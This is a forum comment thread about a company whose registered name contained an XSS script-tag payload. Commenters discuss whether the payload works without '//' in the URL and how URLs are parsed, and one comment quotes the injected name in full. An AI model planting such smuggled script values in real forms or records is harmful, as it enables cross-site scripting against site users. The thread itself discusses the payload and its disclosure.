News for hackers. Stuff that matters.
Re:That company whose name used to contain HTML script tags Ltd by blepblep on Wednesday October 28, 2020 @03:22PM (#24923018)
Will that even work without http:// or at least // in front of the domain name?

Tried it in chrome and sees it as a file name on the current domain.

Re:That company whose name used to contain HTML script tags Ltd by tim333 on Thursday October 29, 2020 @07:17AM (#24929271)
Seems to have a bit. Cut and paste from the guy who set up \"><SCRIPT SRC=MJT.XSS.HT></SCRIPT> LTD

...

>I am in the process of contacting every website that has triggered my script which has a readily available contact for submitting security issues, or a hackerone account or similar. Alas, the sort of websites that have XSS problems rarely list IT security contacts.

Re:That company whose name used to contain HTML script tags Ltd by wahern on Wednesday October 28, 2020 @08:09PM (#24925651)
I don't think so. The traditional, canonical regular expression[1] for parsing a URL is

  ^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?
See https://tools.ietf.org/html/rfc3986#appendix-B

The authority section (which contains the host domain) must begin with "//" whether there's a scheme prefix or not. Otherwise it's just part of the path (or query or fragment). IIRC, these semantics are also fixed by HTML such that any attribute like HREF or SRC is parsed as-if using the canonical regex (but after entity substitution and whitespace trimming). Browsers might have implemented this differently many years ago, but I doubt it as it would conflict with being able to use a bare path atom (e.g. foo.html).

[1] I normally eschew using regular expressions for proper parsing, but for URLs the canonical expression is both adequate and advisable for correctness.

Re:That company whose name used to contain HTML script tags Ltd by bearbin on Thursday October 29, 2020 @12:24PM (#24932179)
It had HTTP originally, twitter just munged it.